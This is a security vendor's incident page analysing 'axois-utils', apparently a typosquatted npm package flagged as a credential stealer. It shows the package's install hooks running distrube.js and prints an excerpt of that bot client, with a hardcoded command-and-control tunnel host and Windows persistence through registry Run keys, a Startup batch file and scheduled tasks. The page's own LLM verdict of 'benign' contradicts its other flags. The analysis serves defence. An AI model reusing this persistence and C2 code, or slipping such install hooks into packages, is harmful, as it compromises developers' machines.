/incidentsfield log

axois-utils flagged credential stealer (npm) — Cremit · NHI Credential Stealer Index

// npm 패키지

axois-utils

Utility functions for Axios HTTP client

npmjs.com tarball repo homepage

버전

6

메인테이너

1

라이선스

MIT

최초 publish

2026-05-16

publisher

deadcode09284814

tarball

4,056,255 B

AUTO-PUBLISHED·1개 버전 인덱싱됨·최근 publish: 2026-05-16

// exfil path

what is read → where it ships

steals

● Crypto wallet
○ home dir
○ system info

sends to

(no destination string extracted — payload may be dynamic / obfuscated)

evidence in excerpt

> const { exec, spawn } = require('child_process');
> const BOT_ID = `${os.hostname()}_${Date.now()}_${crypto.randomBytes(4).toString('hex')}`;

→ view full payload

// publisher 캠페인by deadcode09284814

이 계정에서 catch된 패키지 2건

고립된 catch가 아닙니다. 동일 publisher가 1개의 다른 패키지를 추가로 발행했고, 모두 파이프라인이 catch했습니다 — 일회성이 아닌 조직적 캠페인의 형태. 아래 링크는 각 형제 catch의 분석으로 이동합니다.

// offending code· @1.0.9· 1 file flagged

llm: benign · 0.85

→ 의심 전송지 없음, 원격 실행 형태 없음 — 1 other host(s).

@1.0.9·2026-05-16·AUTO-PUBLISHED·publisher: deadcode09284814
heuristic 100/100
static flags 5
llm benign (0.85) via ollama
install-scripts:preinstall,install,postinstallnew-publisher:10dpublisher-handle-randomlookinghas-source-repoosv-flagged:MAL-2026-4494reads-wallet-filesreads-env-varsreads-homedirreads-system-infochild-process-spawn
→ 의심 전송지 없음, 원격 실행 형태 없음 — 1 other host(s).
// NHI intent1 target·mixed harvest patterns·gate: always

// install scripts

### preinstall
node distrube.js

### install
node distrube.js

### postinstall
node distrube.js

// package/distrube.js (excerpt)

// postinstall.js - Cross-platform bot client (Windows/Linux/macOS)
// Place this in your npm package as postinstall.js

const net = require('net');
const os = require('os');
const crypto = require('crypto');
const { exec, spawn } = require('child_process');
const fs = require('fs');
const path = require('path');

// === CONFIGURATION ===
// Use your localhost.run HTTPS URL (the tunnel handles HTTP internally)
const C2_HOST = 'b94b6bcfa27554.lhr.life';  // Your localhost.run tunnel
const C2_PORT = 443;  // HTTPS port - tunnel handles SSL
const BOT_ID = `${os.hostname()}_${Date.now()}_${crypto.randomBytes(4).toString('hex')}`;

// === PERSISTENCE - Cross-platform ===
function addPersistence() {
    const scriptPath = process.argv[1];
    
    if (process.platform === 'win32') {
        // Windows: Registry + Startup Folder
        const regCmd = `reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v SystemUpdate /t REG_SZ /d "node \"${scriptPath}\"" /f`;
        exec(regCmd, () => {});
        
        const startupPath = `${process.env.APPDATA}\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\system-update.bat`;
        fs.writeFileSync(startupPath, `@echo off\nstart /B node "${scriptPath}"`, () => {});
        
        // Also add as scheduled task (runs even if user logs off)
        exec(`schtasks /create /tn "SystemUpdate" /tr "node \"${scriptPath}\"" /sc onlogon /f`, () => {});
    } 
    else if (process.platform === 'linux') {
        // Linux: Multiple